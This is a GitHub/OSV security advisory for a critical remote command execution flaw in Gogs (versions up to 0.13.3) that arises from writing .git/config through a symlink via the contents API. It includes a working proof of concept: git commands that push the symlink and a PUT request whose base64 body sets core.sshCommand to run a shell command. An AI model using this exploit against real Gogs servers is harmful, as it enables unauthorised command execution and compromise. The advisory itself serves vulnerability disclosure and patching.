GHSA-gg64-xxr9-qhjp

Source

https://github.com/advisories/GHSA-gg64-xxr9-qhjp

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-gg64-xxr9-qhjp/GHSA-gg64-xxr9-qhjp.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-gg64-xxr9-qhjp

Aliases

Published

2026-02-06T17:49:27Z

Modified

2026-02-19T20:56:31Z

Severity

9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator

Summary

Gogs's update .git/config file allows remote command execution

Details

Summary

Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.

Details

Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206

PoC

# add a symlink file and push to repo.
ln -s .git/config link
git add link
git commit -m 'add' && git push

Update file via API router

PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1
Content-Type: application/json
Host: localhost:3000
Authorization: token {token}

{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}

Impact

RCE

Database specific

{
    "cwe_ids": [
        "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T17:49:27Z",
    "nvd_published_at": "2026-02-06T17:16:17Z",
    "severity": "CRITICAL"
}

References

Affected packages

Go / gogs.io/gogs

Package

Name: gogs.io/gogs; View open source insights on deps.dev
Purl: pkg:golang/gogs.io/gogs

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

0.13.4

Database specific

last_known_affected_version_range

"<= 0.13.3"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-gg64-xxr9-qhjp/GHSA-gg64-xxr9-qhjp.json"